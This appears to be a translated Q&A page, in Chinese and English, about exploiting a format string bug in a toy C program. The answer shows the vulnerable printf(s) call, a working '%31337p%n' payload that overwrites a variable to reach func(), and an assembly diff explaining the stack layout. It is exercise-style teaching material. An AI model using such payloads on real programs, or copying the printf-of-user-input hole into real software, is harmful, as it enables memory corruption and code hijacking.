在printf中格式化字符串攻击 [英] Format string attack in printf
问题描述
#include <stdio.h>
int main()
{
char s[200]
int a=123;
int b=&a;
scanf("%50s",s);
printf(s);
if (a==31337)
func();
}
目标是执行格式字符串攻击-通过输入字符串执行func().我尝试使用%n覆盖变量,但得出的结论是,如果不首先显示b变量,这是不可能的,而且我也不知道该怎么做.任何提示将不胜感激.对不起,我的英语不好.
The aim is to execute a format string attack - to execute func() by inputting a string. I tried to use %n to overwrite the variable but I came to conclusion is that it is impossible without displaying b variable first and I have no idea how. Any hint would be appreciated. Sorry for my bad english.
推荐答案
让我们尝试是否打印:
$ cat > f.c << \EOF
#include <stdio.h>
void func() {
fprintf(stderr, "func\n");
}
int main()
{
char s[200];
int a=123;
int b=&a;
#ifdef FIXER
fprintf(stderr, "%p\n", b); /* make "b" actually used somewhere */
#endif
scanf("%50s",s);
printf(s);
if (a==31337)
func();
}
EOF
$ gcc --version | head -n 1; uname -m
gcc (Debian 4.7.2-5) 4.7.2
i686
$ gcc -S f.c -o doesnt_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc -S -DFIXER f.c -o does_work.s
f.c: In function 'main':
f.c:10:11: warning: initialization makes integer from pointer without a cast [enabled by default]
$ gcc doesnt_work.s -o doesnt_work; gcc does_work.s -o does_work
$ echo '%31337p%n' | ./does_work > /dev/null
0xbfe75970
func
$ echo '%31337p%n' | ./doesnt_work > /dev/null
Segmentation fault
如问题中所述,我们清楚地看到,如果不先打印b
,它将失败.
As stated in the question, we clearly see that without printing b
first it fails.
让我们比较一下内部的顿悟:
Let's compare what is hapenning inside:
$ diff -ur does_work.s doesnt_work.s
--- does_work.s 2013-02-06 03:17:06.000000000 +0300
+++ doesnt_work.s 2013-02-06 03:16:52.000000000 +0300
@@ -29,8 +29,6 @@
.size func, .-func
.section .rodata
.LC1:
- .string "%p\n"
-.LC2:
.string "%50s"
.text
.globl main
@@ -48,15 +46,9 @@
movl $123, 16(%esp)
leal 16(%esp), %eax
movl %eax, 220(%esp)
- movl stderr, %eax
- movl 220(%esp), %edx /* !!! */
- movl %edx, 8(%esp) /* !!! */
- movl $.LC1, 4(%esp)
- movl %eax, (%esp)
- call fprintf
leal 20(%esp), %eax
movl %eax, 4(%esp)
- movl $.LC2, (%esp)
+ movl $.LC1, (%esp)
call __isoc99_scanf
leal 20(%esp), %eax
movl %eax, (%esp)
在标记的行上,我们看到将b
的值放入%edx,然后将其作为第3个参数放入堆栈中."
On marked lines we see "get value of b
into %edx, then put it as 3'rd argument in stack."
由于printf和scanf使用cdecl调用约定,因此在调用之间堆栈几乎保持不变,因此第三个参数仍然可供易受攻击的printf
设置.
As printf and scanf use cdecl call convention, the stack remains more or less the same across invocations, so that third argument remains available for the vulnerable printf
for setting.
当我们不打印b
时,它不会进入堆栈以方便我们的注入格式字符串使用.
When we don't print b
, it does not get into stack to be easily available for our injected format string.
只要有足够的%p%p%p%p%p%p...
,我们仍然应该能够达到实际的a
或b
,但是50个输入字符的限制正在逐渐消失.
With enough %p%p%p%p%p%p...
we should be able to reach our actual a
or b
anyway, but the limitation of 50 input characters is getting in our way.
这篇关于在printf中格式化字符串攻击的文章就介绍到这了,希望我们推荐的答案对大家有所帮助,也希望大家多多支持IT屋!